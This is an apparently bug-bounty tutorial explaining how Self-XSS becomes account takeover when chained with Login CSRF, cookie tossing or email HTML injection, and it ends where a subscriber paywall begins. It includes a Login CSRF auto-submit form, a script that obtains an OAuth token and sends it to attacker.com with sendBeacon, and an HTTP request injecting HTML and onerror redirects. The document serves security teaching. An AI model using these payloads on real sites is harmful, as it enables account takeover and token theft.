Quick answer
Self-XSS is still "Won't Fix" in many programs because "the user attacks themselves." But a Self-XSS combined with Login CSRF + Cookie Tossing + postMessage hijack or email HTML injection becomes an ATO. The rule: never dismiss an XSS because the initial vector requires user action — look for the channel that breaks the "self" boundary.
The Self-XSS misunderstanding
A classic Self-XSS lives in a field that only the user themselves can modify and read (settings, internal preferences, a query string only accessible after login). Triagers close it with three typical phrases:
- "Requires victim to paste payload in their own session."
- "No cross-user impact."
- "Self-attack — informational."
The mistake is to assume the attacker can't force the victim into a session where the payload executes. There are six paths:
| Path | Mechanism |
|---|---|
| Login CSRF | The attacker authenticates the victim into the attacker's account, where the payload is already armed |
| Cookie tossing | Set-Cookie with path=/route from a subdomain → overrides the legitimate session |
| Email HTML injection | User data reflected in a transactional email → click → render with the payload |
| postMessage hijack | A trusted iframe sends a malicious message → the handler uses innerHTML/eval |
| Hash/PRNG predict | Guessing callback IDs or tokens generated with Math.random() |
| OAuth flow abuse | Manipulated redirect/state → the token lands in the attacker's session |
Chain 1 — Login CSRF + Self-XSS
The most effective and well-accepted by serious triagers.
Setup
- The attacker creates an
attacker@evil.comaccount and saves the Self-XSS payload in the vulnerable field (name, bio, avatar URL, search history). - The attacker prepares a page that forces the victim to log into the attacker's account (Login CSRF):
<form id="loginForm" action="https://target.com/login" method="POST">
<input name="email" value="attacker@evil.com">
<input name="password" value="ATTACKER_PASS">
</form>
<script>document.getElementById('loginForm').submit();</script>
- After the auto-submit, the victim's browser has an active session in the attacker's account. Any subsequent visit to
target.com/settingsexecutes the Self-XSS — but now with the victim's cookies.
Why the switch to the real session works
The final payload (inside the Self-XSS) doesn't operate with the attacker's cookies: it uses fetch('/me/logout') + fetch('/me/login-with-token?token=VICTIM_REMEMBER_TOKEN') if it finds it in localStorage, or launches an OAuth implicit grant that returns the token to a controlled endpoint.
// Dentro del Self-XSS en sesión del atacante
fetch('/api/v1/me/oauth/issue?client_id=attacker_app', { credentials: 'include' })
.then(r => r.json())
.then(d => navigator.sendBeacon('https://attacker.com/c', d.access_token));
Chain 2 — Email HTML injection + Self-XSS
A pattern documented in Ayoub Nouri's report (Visa). It works when a checkout or registration field is reflected without encoding in the transactional email.
Full setup
POST /v1/order/checkout HTTP/1.1
Host: api.target.com
Content-Type: application/json
{
"billing": {
"firstName": "<a href='https://attacker.com/poc.html'>Verifica tu cuenta</a>",
"lastName": "<img src=x onerror='location=\"https://attacker.com/p\"'>",
"email": "victim@target.com"
},
"paymentMethodNonce": "INVALID_NONCE_TO_TRIGGER_FAIL"
}
Key trick: the invalid nonce forces the order to fail, but the transactional email ("Your order was cancelled") is sent anyway with the billing data rendered as HTML.
If the page has reCAPTCHA, the Google-Recaptcha-CSRF-POC tool solves it automatically via a proxy and opens the final URL.
Keep reading the full chain
The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.
Practice this in a lab
Xss Self Ato
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
Stored XSS in template names — from the most boring field to domain takeover
A template title field, unsanitized, in a session with permissions over domains. A real €1,200 bounty. How to find XSS where nobody looks.
DOM XSS — gadgets, postMessage handlers and CVE-2025-59840
DOM XSS isn't just innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers without origin checks, broken hash-based routing.
postMessage — common vulnerabilities: origin bypass, XSS sink, cross-window IDOR
How to identify and exploit vulnerabilities in window.postMessage(): listeners without origin validation, insecure JSON payloads that reach DOM XSS, cross-origin IDOR.